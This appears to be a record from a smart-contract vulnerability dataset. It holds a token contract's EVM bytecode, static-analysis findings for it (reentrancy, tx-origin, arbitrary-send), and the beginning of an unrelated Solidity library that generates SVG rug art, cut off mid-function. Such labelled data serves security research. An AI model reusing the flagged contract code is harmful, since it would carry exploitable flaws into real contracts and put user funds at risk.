1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b929190613431565b9050610ba685610ba0611c4d565b83611c55565b60019150509392505050565b6000610bbd30611037565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c08611c4d565b73ffffffffffffffffffffffffffffffffffffffff1614610c2857600080fd5b60005b8151811015610cb957600060066000848481518110610c4d57610c4c613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cb190613494565b915050610c2b565b5050565b60105481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600b5481565b610d27611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90613528565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df5611c4d565b73ffffffffffffffffffffffffffffffffffffffff1614610e1557600080fd5b60008111610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90613594565b60405180910390fd5b80600d819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600d54604051610e909190612d91565b60405180910390a150565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f02611c4d565b73ffffffffffffffffffffffffffffffffffffffff1614610f2257600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610fb49190613352565b60405180910390a150565b600c5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611006611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461102657600080fd5b600047905061103481612729565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611088611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90613528565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611214611c4d565b73ffffffffffffffffffffffffffffffffffffffff161461123457600080fd5b60005b81518110156113ab57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061128c5761128b613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156113205750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106112ff576112fe613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156113985760016006600084848151811061133e5761133d613465565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806113a390613494565b915050611237565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160029054906101000a900460ff1681565b6040518060400160405280600381526020017f4a4553000000000000000000000000000000000000000000000000000000000081525081565b6000611438611431611c4d565b8484611e1e565b6001905092915050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611489611c4d565b73ffffffffffffffffffffffffffffffffffffffff16146114a957600080fd5b60006114b430611037565b90506114bf81612816565b50565b6114ca611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e90613528565b60405180910390fd5b601160009054906101000a900460ff16156115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90613600565b60405180910390fd5b6001601160006101000a81548160ff021916908315150217905550426010819055506801a055690d9db80000600e819055506801a055690d9db80000600f81905550565b6000611618600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611037565b905090565b611625611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a990613528565b60405180910390fd5b80601160026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601160029054906101000a900460ff1660405161170a9190612f8d565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6117a4611c4d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611831576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182890613528565b60405180910390fd5b601160009054906101000a900460ff1615611881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187890613600565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061191130600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611c55565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119809190613635565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b9190613635565b6040518363ffffffff1660e01b8152600401611a28929190613662565b6020604051808303816000875af1158015611a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6b9190613635565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611af430611037565b600080611aff6113af565b426040518863ffffffff1660e01b8152600401611b21969594939291906136c6565b60606040518083038185885af1158015611b3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b64919061373c565b505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611c0692919061378f565b6020604051808303816000875af1158015611c25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4991906137cd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb9061386c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906138fe565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e119190612d91565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8490613990565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef390613a22565b60405180910390fd5b60008111611f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3690613ab4565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc390613b46565b60405180910390fd5b6000611fd66113af565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204457506120146113af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561266457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120f45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561214a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561246457601160009054906101000a900460ff1661219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590613bb2565b60405180910390fd5b60105442036121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d990613c1e565b60405180910390fd5b42610e106010546121f39190613c3e565b111561225257600f5461220584611037565b836122109190613c3e565b1115612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890613d06565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff1661232c5760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42607860105461233c9190613c3e565b111561241857600e54821115612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e90613d72565b60405180910390fd5b600f426123949190613c3e565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240e90613e04565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601160019054906101000a900460ff1615801561248d5750601160009054906101000a900460ff165b80156124e75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561266357600f426124f99190613c3e565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390613e96565b60405180910390fd5b600061258730611037565b9050600081111561264457601160029054906101000a900460ff161561263a576064600d546125d7600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611037565b6125e19190613eb6565b6125eb9190613f3f565b811115612639576064600d54612622600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611037565b61262c9190613eb6565b6126369190613f3f565b90505b5b61264381612816565b5b6000479050600081111561265c5761265b47612729565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061270b5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561271557600090505b6127228585858486612a8f565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836127729190613f3f565b9081150290604051600060405180830381858888f1935050505015801561279d573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836127e79190613f3f565b9081150290604051600060405180830381858888f19350505050158015612812573d6000803e3d6000fd5b5050565b6001601160016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561284e5761284d613077565b5b60405190808252806020026020018201604052801561287c5781602001602082028036833780820191505090505b509050308160008151811061289457612893613465565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561293b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061295f9190613635565b8160018151811061297357612972613465565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506129da30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c55565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a3e95949392919061402e565b600060405180830381600087803b158015612a5857600080fd5b505af1158015612a6c573d6000803e3d6000fd5b50505050506000601160016101000a81548160ff02191690831515021790555050565b6000612a9b8383612ab1565b9050612aa986868684612b06565b505050505050565b600080600090508315612afc578215612ace57600b549050612afb565b600c549050610384601054612ae39190613c3e565b421015612afa57600581612af79190613c3e565b90505b5b5b8091505092915050565b600080612b138484612ca9565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b629190613431565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bf09190613c3e565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3c81612ce7565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c999190612d91565b60405180910390a3505050505050565b600080600060648486612cbc9190613eb6565b612cc69190613f3f565b905060008186612cd69190613431565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d329190613c3e565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612d8b81612d78565b82525050565b6000602082019050612da66000830184612d82565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612de6578082015181840152602081019050612dcb565b83811115612df5576000848401525b50505050565b6000601f19601f8301169050919050565b6000612e1782612dac565b612e218185612db7565b9350612e31818560208601612dc8565b612e3a81612dfb565b840191505092915050565b60006020820190508181036000830152612e5f8184612e0c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ea682612e7b565b9050919050565b612eb681612e9b565b8114612ec157600080fd5b50565b600081359050612ed381612ead565b92915050565b600060208284031215612eef57612eee612e71565b5b6000612efd84828501612ec4565b91505092915050565b612f0f81612d78565b8114612f1a57600080fd5b50565b600081359050612f2c81612f06565b92915050565b60008060408385031215612f4957612f48612e71565b5b6000612f5785828601612ec4565b9250506020612f6885828601612f1d565b9150509250929050565b60008115159050919050565b612f8781612f72565b82525050565b6000602082019050612fa26000830184612f7e565b92915050565b60008060408385031215612fbf57612fbe612e71565b5b6000612fcd85828601612f1d565b9250506020612fde85828601612f1d565b9150509250929050565b60008060006060848603121561300157613000612e71565b5b600061300f86828701612ec4565b935050602061302086828701612ec4565b925050604061303186828701612f1d565b9150509250925092565b600060ff82169050919050565b6130518161303b565b82525050565b600060208201905061306c6000830184613048565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130af82612dfb565b810181811067ffffffffffffffff821117156130ce576130cd613077565b5b80604052505050565b60006130e1612e67565b90506130ed82826130a6565b919050565b600067ffffffffffffffff82111561310d5761310c613077565b5b602082029050602081019050919050565b600080fd5b6000613136613131846130f2565b6130d7565b905080838252602082019050602084028301858111156131595761315861311e565b5b835b81811015613182578061316e8882612ec4565b84526020840193505060208101905061315b565b5050509392505050565b600082601f8301126131a1576131a0613072565b5b81356131b1848260208601613123565b91505092915050565b6000602082840312156131d0576131cf612e71565b5b600082013567ffffffffffffffff8111156131ee576131ed612e76565b5b6131fa8482850161318c565b91505092915050565b60006020828403121561321957613218612e71565b5b600061322784828501612f1d565b91505092915050565b61323981612e9b565b82525050565b60006020820190506132546000830184613230565b92915050565b61326381612f72565b811461326e57600080fd5b50565b6000813590506132808161325a565b92915050565b60006020828403121561329c5761329b612e71565b5b60006132aa84828501613271565b91505092915050565b600080604083850312156132ca576132c9612e71565b5b60006132d885828601612ec4565b92505060206132e985828601612ec4565b9150509250929050565b6000819050919050565b600061331861331361330e84612e7b565b6132f3565b612e7b565b9050919050565b600061332a826132fd565b9050919050565b600061333c8261331f565b9050919050565b61334c81613331565b82525050565b60006020820190506133676000830184613343565b92915050565b60006040820190506133826000830185612d82565b61338f6020830184612d82565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b60006133cc600a83612db7565b91506133d782613396565b602082019050919050565b600060208201905081810360008301526133fb816133bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061343c82612d78565b915061344783612d78565b92508282101561345a57613459613402565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061349f82612d78565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134d1576134d0613402565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613512602083612db7565b915061351d826134dc565b602082019050919050565b6000602082019050818103600083015261354181613505565b9050919050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b600061357e601283612db7565b915061358982613548565b602082019050919050565b600060208201905081810360008301526135ad81613571565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006135ea601783612db7565b91506135f5826135b4565b602082019050919050565b60006020820190508181036000830152613619816135dd565b9050919050565b60008151905061362f81612ead565b92915050565b60006020828403121561364b5761364a612e71565b5b600061365984828501613620565b91505092915050565b60006040820190506136776000830185613230565b6136846020830184613230565b9392505050565b6000819050919050565b60006136b06136ab6136a68461368b565b6132f3565b612d78565b9050919050565b6136c081613695565b82525050565b600060c0820190506136db6000830189613230565b6136e86020830188612d82565b6136f560408301876136b7565b61370260608301866136b7565b61370f6080830185613230565b61371c60a0830184612d82565b979650505050505050565b60008151905061373681612f06565b92915050565b60008060006060848603121561375557613754612e71565b5b600061376386828701613727565b935050602061377486828701613727565b925050604061378586828701613727565b9150509250925092565b60006040820190506137a46000830185613230565b6137b16020830184612d82565b9392505050565b6000815190506137c78161325a565b92915050565b6000602082840312156137e3576137e2612e71565b5b60006137f1848285016137b8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613856602483612db7565b9150613861826137fa565b604082019050919050565b6000602082019050818103600083015261388581613849565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138e8602283612db7565b91506138f38261388c565b604082019050919050565b60006020820190508181036000830152613917816138db565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061397a602583612db7565b91506139858261391e565b604082019050919050565b600060208201905081810360008301526139a98161396d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a0c602383612db7565b9150613a17826139b0565b604082019050919050565b60006020820190508181036000830152613a3b816139ff565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a9e602983612db7565b9150613aa982613a42565b604082019050919050565b60006020820190508181036000830152613acd81613a91565b9050919050565b7f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60008201527f65742e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613b30602383612db7565b9150613b3b82613ad4565b604082019050919050565b60006020820190508181036000830152613b5f81613b23565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613b9c601883612db7565b9150613ba782613b66565b602082019050919050565b60006020820190508181036000830152613bcb81613b8f565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b6000613c08600b83612db7565b9150613c1382613bd2565b602082019050919050565b60006020820190508181036000830152613c3781613bfb565b9050919050565b6000613c4982612d78565b9150613c5483612d78565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c8957613c88613402565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b6000613cf0602783612db7565b9150613cfb82613c94565b604082019050919050565b60006020820190508181036000830152613d1f81613ce3565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613d5c601b83612db7565b9150613d6782613d26565b602082019050919050565b60006020820190508181036000830152613d8b81613d4f565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613dee602283612db7565b9150613df982613d92565b604082019050919050565b60006020820190508181036000830152613e1d81613de1565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613e80602383612db7565b9150613e8b82613e24565b604082019050919050565b60006020820190508181036000830152613eaf81613e73565b9050919050565b6000613ec182612d78565b9150613ecc83612d78565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f0557613f04613402565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f4a82612d78565b9150613f5583612d78565b925082613f6557613f64613f10565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fa581612e9b565b82525050565b6000613fb78383613f9c565b60208301905092915050565b6000602082019050919050565b6000613fdb82613f70565b613fe58185613f7b565b9350613ff083613f8c565b8060005b838110156140215781516140088882613fab565b975061401383613fc3565b925050600181019050613ff4565b5085935050505092915050565b600060a0820190506140436000830188612d82565b61405060208301876136b7565b81810360408301526140628186613fd0565b90506140716060830185613230565b61407e6080830184612d82565b969550505050505056fea2646970667358221220152a6b2e5cc34a16f53c79c9625b8566e81df847a3e1298423c633757336c42964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,534 |
0x6Bb61ec92d5Efb9436B075DEDD8c936782D39d8a
|
//SPDX-License-Identifier: Unlicense
/// @title: PonziRugs library
/// @author: Rug Dev
pragma solidity ^0.8.0;
library PonziRugsGenerator {
struct PonziRugsStruct
{
uint pattern;
uint background;
uint colorOne;
uint colorTwo;
uint colorThree;
bool set;
string metadata;
string combination;
}
struct RandValues {
uint256 patternSelect;
uint256 backgroundSelect;
}
function getRugForSeed(uint256[] memory combination) external pure returns (PonziRugsStruct memory, string memory)
{
PonziRugsStruct memory rug;
RandValues memory rand;
string[10] memory patterns = ["Ether", "Circles", "Hoots", "Kaiju", "Heart", "Persian", "Encore", "Kubrick", "Mozaic", "NGMI"];
string[21] memory colors = ["deeppink", "darkturquoise", "orange", "gold", "white", "silver", "green",
"darkviolet", "orangered", "lawngreen", "mediumvioletred", "red", "olivedrab",
"bisque", "cornsilk", "darkorange", "slateblue", "floralwhite", "khaki", "crimson", "thistle"];
string[21] memory ngmiPalette = ["black", "red", "green", "blue", "maroon", "violet", "tan", "turquoise", "cyan",
"darkred", "darkorange", "crimson", "darkviolet", "goldenrod", "forestgreen", "lime", "magenta",
"springgreen", "teal", "navy", "indigo"];
// Determine the Pattern for the rug
rand.patternSelect = combination[0];
if(rand.patternSelect < 1) rug.pattern = 9;
else if (rand.patternSelect < 60) rug.pattern = 8;
else if (rand.patternSelect < 100) rug.pattern = 7;
else if (rand.patternSelect < 160) rug.pattern = 6;
else if (rand.patternSelect < 240) rug.pattern = 5;
else if (rand.patternSelect < 340) rug.pattern = 4;
else if (rand.patternSelect < 460) rug.pattern = 3;
else if (rand.patternSelect < 580) rug.pattern = 2;
else if (rand.patternSelect < 780) rug.pattern = 1;
else rug.pattern = 0;
// Rug Traits
rug.background = combination[1];
rug.colorOne = combination[2];
rug.colorTwo = combination[3];
rug.colorThree = combination[4];
rug.set = (rug.colorOne == rug.colorTwo) && (rug.colorTwo == rug.colorThree);
rug.combination = string(abi.encodePacked(Utils.uint2str(rug.pattern), Utils.uint2str(rug.background), Utils.uint2str(rug.colorOne), Utils.uint2str(rug.colorTwo) , Utils.uint2str(rug.colorThree)));
// Build the SVG from various parts
string memory svg = string(abi.encodePacked('<svg customPattern = "', Utils.uint2str(rug.pattern), '" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 128 55" >'));
//svg = string(abi.encodePacked(svg, id));
string memory currentSvg = "";
if(rug.pattern == 0)
{
//ETHERS
currentSvg = string(abi.encodePacked('<pattern id="rug" viewBox="5.5,0,10,10" width="24%" height="20%"><polygon points="-10,-10 -10,30 30,30 30,-10" fill ="', colors[rug.background],'"/><polygon points="0,5 9,1 10,1 10,2 8,4 1,5 8,6 10,8 10,9 9,9 0,5"/><polygon points="10,5 13,1 14,1 21,5 14,9 13,9 10,5"/><polygon points="13.25,2.25 14.5,5 13.25,7.75 11,5" fill="', colors[rug.colorOne],'"/><polygon points="14.5,2.5 15.5,4.5 18.5,4.5" fill="', colors[rug.colorTwo],'"/><polygon points="18.5,5.5 15.5,5.5 14.5,7.5" fill="', colors[rug.colorThree],'"/><polygon points="18.5,5.5 15.5,5.5 14.5,7.5" transform="scale(-1,-1) translate(-35,-15)"/><polygon points="14.5,2.5 15.5,4.5 18.5,4.5" transform="scale(-1,-1) translate(-35,-5)"/><polygon points="13.25,2.25 14.5,5 13.25,7.75 11,5" transform="scale(-1,-1) translate(-35,-15)"/><polygon points="13.25,2.25 14.5,5 13.25,7.75 11,5" transform="scale(-1,-1) translate(-35,-5)"/><polygon points="2,5 10,5 13,9 10,9 8,6" transform="scale(-1,-1) translate(-9,-15)"/><polygon points="2,5 8,4 10,1 13,1 10,5" transform="scale(-1,-1) translate(-9,-5)"/><animate attributeName="x" from="0" to="2.4" dur="20s" repeatCount="indefinite"/></pattern><rect width="128" height="55" fill="url(#rug)" stroke-width="3" stroke="black"/>'));
}
else if(rug.pattern == 1)
{
//CIRCLES
string[3] memory parts = [
string(abi.encodePacked
(
'<pattern id="star" viewBox="0,0,12,12" width="11%" height="25%"><circle cx="12" cy="0" r="4" fill="', colors[rug.colorOne],'" stroke="black" stroke-width="1"/><circle cx="12" cy="0" r="2" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="1"/><circle cx="0" cy="12" r="4" fill="', colors[rug.colorOne],'" stroke="black" stroke-width="1"/><circle cx="0" cy="12" r="2" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="1"/>'
)),
string(abi.encodePacked
(
'<circle cx="6" cy="6" r="6" fill="', colors[rug.colorTwo],'" stroke="black" stroke-width="1"/><circle cx="6" cy="6" r="4" fill="', colors[rug.colorOne],'" stroke="black" stroke-width="1"/><circle cx="6" cy="6" r="2" fill="', colors[rug.background],'" stroke="black" stroke-width="1"/><circle cx="0" cy="0" r="6" fill="', colors[rug.colorTwo],'" stroke="black" stroke-width="1"/><circle cx="0" cy="0" r="4" fill="', colors[rug.colorOne],'" stroke="black" stroke-width="1"/><circle cx="0" cy="0" r="2" fill="', colors[rug.colorThree],'" stroke="black" stroke-width="1"/>'
)),
